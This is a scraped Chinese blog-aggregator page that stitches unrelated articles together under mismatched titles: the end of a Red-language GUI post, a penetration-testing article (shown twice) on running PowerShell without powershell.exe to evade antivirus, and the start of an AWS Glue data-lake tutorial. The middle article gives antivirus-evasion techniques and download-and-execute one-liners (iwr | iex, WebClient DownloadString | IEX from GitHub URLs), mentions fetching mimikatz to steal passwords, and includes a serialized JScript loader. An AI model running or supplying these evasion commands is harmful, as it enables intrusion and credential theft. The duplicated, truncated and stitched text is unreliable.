  可以看到,用Red语言实现一个图形界面程序就是这么简单,不需要任何额外的IDE开发环境,可以用文本编辑器编程,也不需要在类似JAVA的虚拟机上运行语言。老的编程驱动直接编译成操作系统对应的原生应用是不是有些诱惑?作为一个精通十几种语言的自主开发者,我想不出有什么语言可以做到这一点。
  顺便提一下各种语言的优缺点。请注意,一家之言仅供参考。另外,也不因此而推荐Red语言。相反,红语言现阶段要真正承担起一个生产系统的开发任务,显然是困难重重的:
  让我们从 2019 年 8 月的 TIOBE 编程语言开发列表中按顺序挑选主要语言:
  Java:非常好,可以算是全栈语言,但是越来越臃肿了。Eclipse、Maven以及各种配置,对于初学者甚至老程序员来说,构建新的开发环境都需要大量的准备时间。另外,JVM的存在使得运行效率低于原生C/C++等语言开发的程序。
  C:经典,在一些低级开发中仍然广泛使用,但毕竟在编写和维护方面存在不便和缺陷,经常被人诟病可能是指针操作导致的crash。
  Python:一种易于使用且具有丰富库的解释型高级计算机语言。它也是一种全栈语言。它被广泛使用,尤其是在当今蓬勃发展的人工智能中。缺点,目前为止,性能比较低,并发编程(多线程)能力较弱,代码不易加密,图形界面开发能力不强。
  C++:也是经典的面向对象开发语言。可惜最终面向对象的实现路径过于复杂,整体编程难度较高,尤其是接口编程。底层编程的效率还不错。
  C#:它也是一种优秀的开发语言。它基本上具有Java的大部分优点,并具有便捷的GUI开发能力(结合Visual Studio)。不幸的是,该平台仅限于Windows平台。其他平台虽然有方法,但是不方便。
  Visual Basic:上手容易,界面简单,但不是搭建大型系统的首选,面向对象编程也比较杂乱,也仅限于Windows平台。
  Javascript:在浏览器和从Node.JS开始的后端开发领域都有不错的表现,但我总觉得把前端语言转换成后端语言是“被迫”的。此外,Javascript 对于处理图形界面不是很好。完美,当然 HTML 本身并不完美。主要缺点是开发比较杂乱,不方便,即使是现在很多WEB框架的情况下也是如此。
  PHP:只适合网页,面向对象的处理也很通融。
  Objective C 和 Swift:都不错,但暂时主要用在 iOS 上。
  SQL:仅用于数据库操作;
  Ruby:与Python类似的情况;
  Delphi/Object Pascal:曾经很流行,并没有被认为是最方便的GUI开发语言(实际上它混淆了Delphi和它所依赖的Pascal语言),可惜商业化并没有跟上,虽然后来有一个免费的Lazarus,但是丢失的用户无法恢复。另外,Pascal语言写起来真的很麻烦。
  汇编语言:不用说,太繁琐了,普通人用它来开发是不可能的。
  Go语言(Golang):近年来后端开发的新生力量,为后端开发而生,语言层面支持的并发能力和便捷的网络开发支持是其表现之一。非常优秀,还有很多第三方库,可惜GUI开发能力有缺陷,暂时只适合后台开发。
  其他语言如 R、Dart、Rust、Lua、Scala 等仍然局限在某个应用领域,或者说专注于解决某些问题,而且大部分还是有一些不足的地方。
  最后是红语言的官网,有兴趣的可以试试,直接下载语言的主程序(不带安装包),运行时会自动配置环境第一次运行,所以建议先放到固定目录下再运行Down。
  另外,友情提示,Windows版Red运行似乎有问题,会出现类似下图的提示:
  
  使用下图所示的方法可以正常工作:
  
  也可以写一个批处理文件red.bat,放到可以找到的目录下。内容类似于:
  "d:\tools\red\red.exe" %*
  就是这样,运行效果如下图所示:
  

c#抓取网页数据(无powershell运行powershell的一些姿势分享(二):PowerLine)

网站优化优采云 发表了文章 • 0 个评论 • 76 次浏览 • 2022-04-15 06:07 • 来自相关话题

  c#抓取网页数据(无powershell运行powershell的一些姿势分享(二):PowerLine)
  原创:冷翼和田智慧
  今天给大家带来的就是不使用powershell运行powershell的一些姿势分享。由于powershell的特性,很受渗透测试爱好者的欢迎。当然,它也催生了ASMI等防御方式。当然,各种杀软也将它纳入了杀戮的行列,比如某件套装,只要叫PS就会被杀掉,实在是太恶心了。
  
  因此,在与AV的对抗中,我们也会尝试绕过执行PS。这里总结了几个不用powershell执行powershell的姿势,希望对大家在实战中有所帮助。
  以下是一个摘要列表:
  以下实验如无特别说明,均在最新版windows server 2008 sp2+360下进行。
  电源线
  PowerLine 是一个用 c# 编写的工具,支持本地命令行调用和远程调用。它可以调用 PowerShell 脚本,而无需直接调用 PowerShell。优点如下:
  下载链接:
  让我们看看如何使用它:
  先把工程拉到本地,然后运行build.bat文件
  
  然后在UserConf.xml文件中填写需要调用的powershell脚本的地址。默认自带powerup、powerview、Mimikatz等。只需按照他给的格式添加你的ps脚本地址即可。
  
  添加完成后,运行PLBuilder.exe进行构建。构建过程中,360不提示
  
  查看内置脚本 PowerLine.exe -ShowScripts
  
  运行脚本,360静音
  
  但是运行后,360提示报病毒并删除了我的exe文件……一般情况下,AV只检测到PS发送的恶意请求,但是因为在powerline中,请求是由powerline发送的,所以绕过了一部分AV,但是缺点也很明显,就是扩展性太差,所有功能都依赖配置文件……
  PowerShdll
  该工具主要使用dll来运行powershell,无需连接powershell.exe,因此具有一定的bypassAV能力。当然也可以在这些程序下运行rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exe或者使用作者给出的单独exe执行
  下载链接:
  exe版本使用方法:
  使用PowerShdll -i 进入交互模式,就会得到一个交互的PS环境,可以执行任意powershell命令,全程360无拦截
  
  下载mimikatz抢密码,360全程无反应...
  
  交互模式下唯一需要注意的是,你输入的内容不能太长,否则会出现问题,原因不明....
  下面我们来看看dll版本的使用情况。。
  rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent. ... p.ps1 } ^| iex;
  这次就没那么幸运了,直接被360秒杀
  
  无powershell
  NoPowerShell 是一个用 C# 实现的工具,它支持执行类似 PowerShell 的命令,同时对任何 PowerShell 日志记录机制都是不可见的。它还提供了CS下的cna脚本。
  优势:
  下载链接:
  我们来看看它的用法:
  直接运行会输出它的版本和支持的命令
  
  
  360流程无拦截
  dll版本在几秒钟内被杀死..
  
  在cs下稳定..
  
  这里需要注意的一点是,脚本默认调用脚本下的文件。国内的cs大多是脚本目录,可以自己修改文件中的目录。
  了解了相关知识,我们如何在实践中应用?登录和天网络安全实验室寻找答案。
  相关实验:CobaltStrike 的代理和 powershell
  SyncAppvPublishingServer
  SyncAppvPublishingServer是win10自带的服务。vbs和exe有两个版本。我们可以用它们来做一些类似于PS的操作。
  默认存储在 C:\Windows\System32 下
  
  使用示例:
  炸弹电脑:
  C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”
  
  或者:
  C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"
  您还可以去远程下载并执行一些 ps 脚本,如下所示:
  C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile(&#39;https://raw.githubusercontent. ... 39%3B,&#39;$env:USERPROFILE/1.ps1&#39;); Start-Process &#39;$env:USERPROFILE/1.ps1&#39; -WindowStyle Minimized;"
  SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString(&#39;https://raw.githubusercontent. ... %2339;) | IEX"
  调用 MSBuild.exe:
  MSBuild 是一个收录在 .Net 框架中的工具,用于自动化创建软件产品的过程,包括编译源代码、打包、测试、部署和创建文档。
  Msbuild 依赖于 .csproj 文件,该文件具有 XML 语法并收录 .NET 构建过程的结果,类似于 unix 中的 make,代码如下:
   outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); }}
]]>< / Code>
  test.ps1的内容如下
  echo "hello from powershell-less"echo "this is your pid:$PID"$psversiontable
  影响:
  
  全360无提示..
  github上也有一个类似的项目:
  执行后获取交互式 PS
  
  调用 cscript:
  github上有一个开源项目,可以直接生成.js文件。用法是
  Dotnettojscript.exe > testps.js
  现在作者给出了一个编译版本,但是里面总是存在一些问题:
  Error: loading assembly information.The generated script might not work correctly
  所以我们下载它并手动编译它..
  先用vs打开项目,然后切换到TestClass.cs,注释掉MessageBox方法,不然每次运行都会得到一个messageBox
  
  然后,因为需要调用PS,所以需要引入“System.Management.Automation.Runspaces”,“System.Management.Automation”,我们可以在PS下使用如下命令查询dll的位置,然后手动进口
  [psobject].Assembly.Location
  
  引入后,在TestClass中添加如下方法:
  private string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { return ""; } return buffer; } public void RunScript(string filename) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); string script=LoadFile(filename); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } Console.WriteLine(sb.ToString());}
  编译后我们得到Dotnettojscript.exe和ExampleAssembly.dll两个文件,然后我们继续从我们的test.ps1文件中生成一个js文件,
  其内容如下:
  function setversion() {}function debug(s) {}function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms;}
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+"ZW1ibHkGFwAAAARMb2FkCg8MAAAAUAAAAAJlY2hvICJoZWxsbyBmcm9tIHBvd2Vyc2hlbGwtbGVz"+"cyINCmVjaG8gInRoaXMgaXMgeW91ciBwaWQ6JFBJRCINCiRwc3ZlcnNpb250YWJsZQENAAAABAAA"+"AAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0"+"ZVtdKQgAAAAKCwAA";var entry_class = &#39;TestClass&#39;;
try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject(&#39;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#39;); var al = new ActiveXObject(&#39;System.Collections.ArrayList&#39;); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) { debug(e.message);}
解密后的主要逻辑如下:
var entry_class = &#39;TestClass&#39;;try {setversion();var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject(&#39;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#39;);var al = new ActiveXObject(&#39;System.Collections.ArrayList&#39;);var d = fmt.Deserialize_2(stm); al.Add(undefined);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);o.RunScript("c:\\test\\test.ps1");} catch (e) {debug(e.message);}
  运行结果:
  当然也可以使用以下方法绕过对JS后缀的检测
  cscript //e:jscript testps.txt
  但是360无情地杀了我们……
  
  写在后面:
  本文只总结了网上常用的不用PS运行PS的方法。您还可以看到,在实验过程中,可以绕过一些 AV,并且各有优缺点。最好找出不同的 AV。它的拦截规则,然后对其执行绕过操作。
  参考文章:
  免责声明:作者的初衷是分享和普及网络知识。读者如有任何危害网络安全的行为,后果自负。与和田智慧及原作者无关! 查看全部

  c#抓取网页数据(无powershell运行powershell的一些姿势分享(二):PowerLine)
  原创:冷翼和田智慧
  今天给大家带来的就是不使用powershell运行powershell的一些姿势分享。由于powershell的特性,很受渗透测试爱好者的欢迎。当然,它也催生了ASMI等防御方式。当然,各种杀软也将它纳入了杀戮的行列,比如某件套装,只要叫PS就会被杀掉,实在是太恶心了。
  
  因此,在与AV的对抗中,我们也会尝试绕过执行PS。这里总结了几个不用powershell执行powershell的姿势,希望对大家在实战中有所帮助。
  以下是一个摘要列表:
  以下实验如无特别说明,均在最新版windows server 2008 sp2+360下进行。
  电源线
  PowerLine 是一个用 c# 编写的工具,支持本地命令行调用和远程调用。它可以调用 PowerShell 脚本,而无需直接调用 PowerShell。优点如下:
  下载链接:
  让我们看看如何使用它:
  先把工程拉到本地,然后运行build.bat文件
  
  然后在UserConf.xml文件中填写需要调用的powershell脚本的地址。默认自带powerup、powerview、Mimikatz等。只需按照他给的格式添加你的ps脚本地址即可。
  
  添加完成后,运行PLBuilder.exe进行构建。构建过程中,360不提示
  
  查看内置脚本 PowerLine.exe -ShowScripts
  
  运行脚本,360静音
  
  但是运行后,360提示报病毒并删除了我的exe文件……一般情况下,AV只检测到PS发送的恶意请求,但是因为在powerline中,请求是由powerline发送的,所以绕过了一部分AV,但是缺点也很明显,就是扩展性太差,所有功能都依赖配置文件……
  PowerShdll
  该工具主要使用dll来运行powershell,无需连接powershell.exe,因此具有一定的bypassAV能力。当然也可以在这些程序下运行rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exe或者使用作者给出的单独exe执行
  下载链接:
  exe版本使用方法:
  使用PowerShdll -i 进入交互模式,就会得到一个交互的PS环境,可以执行任意powershell命令,全程360无拦截
  
  下载mimikatz抢密码,360全程无反应...
  
  交互模式下唯一需要注意的是,你输入的内容不能太长,否则会出现问题,原因不明....
  下面我们来看看dll版本的使用情况。。
  rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent. ... p.ps1 } ^| iex;
  这次就没那么幸运了,直接被360秒杀
  
  无powershell
  NoPowerShell 是一个用 C# 实现的工具,它支持执行类似 PowerShell 的命令,同时对任何 PowerShell 日志记录机制都是不可见的。它还提供了CS下的cna脚本。
  优势:
  下载链接:
  我们来看看它的用法:
  直接运行会输出它的版本和支持的命令
  
  
  360流程无拦截
  dll版本在几秒钟内被杀死..
  
  在cs下稳定..
  
  这里需要注意的一点是,脚本默认调用脚本下的文件。国内的cs大多是脚本目录,可以自己修改文件中的目录。
  了解了相关知识,我们如何在实践中应用?登录和天网络安全实验室寻找答案。
  相关实验:CobaltStrike 的代理和 powershell
  SyncAppvPublishingServer
  SyncAppvPublishingServer是win10自带的服务。vbs和exe有两个版本。我们可以用它们来做一些类似于PS的操作。
  默认存储在 C:\Windows\System32 下
  
  使用示例:
  炸弹电脑:
  C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”
  
  或者:
  C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"
  您还可以去远程下载并执行一些 ps 脚本,如下所示:
  C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile(&#39;https://raw.githubusercontent. ... 39%3B,&#39;$env:USERPROFILE/1.ps1&#39;); Start-Process &#39;$env:USERPROFILE/1.ps1&#39; -WindowStyle Minimized;"
  SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString(&#39;https://raw.githubusercontent. ... %2339;) | IEX"
  调用 MSBuild.exe:
  MSBuild 是一个收录在 .Net 框架中的工具,用于自动化创建软件产品的过程,包括编译源代码、打包、测试、部署和创建文档。
  Msbuild 依赖于 .csproj 文件,该文件具有 XML 语法并收录 .NET 构建过程的结果,类似于 unix 中的 make,代码如下:
   outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); }}
]]>< / Code>
  test.ps1的内容如下
  echo "hello from powershell-less"echo "this is your pid:$PID"$psversiontable
  影响:
  
  全360无提示..
  github上也有一个类似的项目:
  执行后获取交互式 PS
  
  调用 cscript:
  github上有一个开源项目,可以直接生成.js文件。用法是
  Dotnettojscript.exe > testps.js
  现在作者给出了一个编译版本,但是里面总是存在一些问题:
  Error: loading assembly information.The generated script might not work correctly
  所以我们下载它并手动编译它..
  先用vs打开项目,然后切换到TestClass.cs,注释掉MessageBox方法,不然每次运行都会得到一个messageBox
  
  然后,因为需要调用PS,所以需要引入“System.Management.Automation.Runspaces”,“System.Management.Automation”,我们可以在PS下使用如下命令查询dll的位置,然后手动进口
  [psobject].Assembly.Location
  
  引入后,在TestClass中添加如下方法:
  private string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { return ""; } return buffer; } public void RunScript(string filename) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); string script=LoadFile(filename); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } Console.WriteLine(sb.ToString());}
  编译后我们得到Dotnettojscript.exe和ExampleAssembly.dll两个文件,然后我们继续从我们的test.ps1文件中生成一个js文件,
  其内容如下:
  function setversion() {}function debug(s) {}function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms;}
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+"ZW1ibHkGFwAAAARMb2FkCg8MAAAAUAAAAAJlY2hvICJoZWxsbyBmcm9tIHBvd2Vyc2hlbGwtbGVz"+"cyINCmVjaG8gInRoaXMgaXMgeW91ciBwaWQ6JFBJRCINCiRwc3ZlcnNpb250YWJsZQENAAAABAAA"+"AAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0"+"ZVtdKQgAAAAKCwAA";var entry_class = &#39;TestClass&#39;;
try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject(&#39;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#39;); var al = new ActiveXObject(&#39;System.Collections.ArrayList&#39;); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) { debug(e.message);}
解密后的主要逻辑如下:
var entry_class = &#39;TestClass&#39;;try {setversion();var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject(&#39;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#39;);var al = new ActiveXObject(&#39;System.Collections.ArrayList&#39;);var d = fmt.Deserialize_2(stm); al.Add(undefined);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);o.RunScript("c:\\test\\test.ps1");} catch (e) {debug(e.message);}
  运行结果:
  当然也可以使用以下方法绕过对JS后缀的检测
  cscript //e:jscript testps.txt
  但是360无情地杀了我们……
  
  写在后面:
  本文只总结了网上常用的不用PS运行PS的方法。您还可以看到,在实验过程中,可以绕过一些 AV,并且各有优缺点。最好找出不同的 AV。它的拦截规则,然后对其执行绕过操作。
  参考文章:
  免责声明:作者的初衷是分享和普及网络知识。读者如有任何危害网络安全的行为,后果自负。与和田智慧及原作者无关!

c#抓取网页数据(AmazonS3数据存储和分析方法,可解决海量异构数据难题 )

网站优化优采云 发表了文章 • 0 个评论 • 85 次浏览 • 2022-04-15 06:05 • 来自相关话题

  c#抓取网页数据(AmazonS3数据存储和分析方法,可解决海量异构数据难题
)
  数据湖是一种越来越流行的数据存储和分析方法,可解决处理大量异构数据的挑战。数据湖允许组织将所有结构化和非结构化数据存储在一个集中的存储库中。由于数据可以按原样存储,因此无需将其转换为预定义的数据结构(与传统的关系数据仓库不同)。
  
  许多组织都了解将 Amazon S3 用作数据湖的好处。例如,Amazon S3 是一种高度耐用、经济高效的对象存储服务,它支持开放数据格式,同时将存储与计算解耦,并且可以与所有 AWS 分析服务集成。尽管 Amazon S3 为您的数据湖提供了基础,但您也可以根据您的业务需求添加其他 AWS 服务来自定义您的数据湖。有关在 AWS 上构建数据湖的更多信息,请参阅什么是数据湖?
  由于使用数据湖的主要挑战之一是查找数据并了解其结构和格式,因此亚马逊最近推出了 AWS Glue。AWS Glue 通过发现数据的结构和格式,显着减少了从 Amazon S3 数据湖快速获取业务洞察所需的时间和精力。AWS Glue 自动爬取 Amazon S3 上的数据,识别数据格式,然后建议可与其他 AWS 分析服务一起使用的数据表结构。
  这篇博文将引导您完成使用 AWS Glue 在 Amazon S3 上结构化地抓取数据的过程,构建可供其他 AWS 产品使用的元数据存储。
  AWS Glue 的功能
  AWS Glue 是一种完全托管的数据目录和 ETL(提取、转换和加载)服务,可简化和自动化数据发现、转换和作业调度等困难且耗时的任务。AWS Glue 使用可识别常见数据格式和数据类型(包括 CSV、Apache Parquet、JSON 等)的预构建分类器来爬取数据源并构建数据目录。
  由于 AWS Glue 与现代数据架构的核心组件 Amazon S3、Amazon RDS、Amazon Athena、Amazon Redshift 和 Amazon Redshift Spectrum 集成,因此可以提供无缝的一站式服务来协调移动和管理你的数据。
  AWS Glue 数据目录与 Apache Hive Metastore 兼容,并支持 Hive、Presto、Apache Spark 和 Apache Pig 等常用工具。它还直接与 Amazon Athena、Amazon EMR 和 Amazon Redshift Spectrum 集成。
  此外,AWS Glue 数据目录具有以下扩展功能,可提供开箱即用的数据管理功能体验:
  - 通过搜索发现数据
  - 使用分类识别和解析文件
  - 使用版本控制管理不断变化的架构
  有关更多信息,请参阅 AWS Glue 产品详细信息。
  Amazon S3 数据湖
  AWS Glue 是 Amazon S3 数据湖不可分割的一部分,为现代数据分析提供数据目录和转换服务。
  
  在上图中,数据针对不同的分析场景进行了分段。最初,数据以其原创格式被摄取,这是数据的不可变副本。然后对数据进行转换和丰富,使其对每个用例都更有价值。在此示例中,原创 CSV 文件被转换为 Apache Parquet 格式以供 Amazon Athena 使用,以提高性能并降低成本。
  我们还可以通过将数据与其他数据集相结合来丰富和提供更多见解。AWS Glue 爬网程序根据作业触发器或预定义的计划为数据的每个转换暂存阶段创建一个表。在此示例中,每次将新文件添加到原创数据 S3 存储桶时,都会触发 AWS Lambda 函数进行 ETL 处理。Amazon Athena、Amazon Redshift Spectrum 和 Amazon EMR 等服务可以在任何阶段使用这些表通过标准 SQL 或 Apache Hive 查询数据。这种架构是一种流行的设计模式,它提供敏捷的商业智能,可以快速轻松地从各种数据中获取商业价值。
  在此演示中,您将定义一个数据库,配置一个爬虫以浏览 Amazon S3 存储桶中的数据,创建一个表,将 CSV 文件转换为 Parquet,为 Parquet 数据创建一个表,并使用 Amazon Athena 查询数据。
  数据发现
  登录 AWS 管理控制台并打开 AWS Glue 控制台。您可以在 Analytics 类别中找到 AWS Glue 服务。在构建此解决方案之前,请查看 AWS 区域列表以了解 Glue 的可用位置。
  数据发现的第一步是添加一个数据库(database)。数据库是表的集合。
  1、 在控制台中,选择添加数据库。在数据库名称中,键入 nycitytaxi,然后选择创建。
  
  2、 在导航窗格中选择表 ( table )。表由列名、数据类型定义和有关数据集的其他元数据组成。
  
  3、 您可以手动或使用爬虫将表添加到数据库 nycitytaxi。爬虫是连接到数据存储并使用分类器的优先级列表来确定数据结构的程序。AWS Glue 为常见文件类型(例如 CSV、JSON、Avro 等)提供分类器。您还可以使用 Grok 模式编写自己的分类器。
  
  4、 要添加爬网程序,请输入数据源:名为 s3://aws-bigdata-blog/artifacts/glue-data-lake/data/ 的 Amazon S3 存储桶。此 S3 存储桶收录一个数据文件,其中收录 2017 年 1 月的所有绿色出租车行程。
  
  5、 选择下一步。
  
  6、 对于 IAM 角色,在下拉列表中选择默认角色 AWSGlueServiceRoleDefault。
  
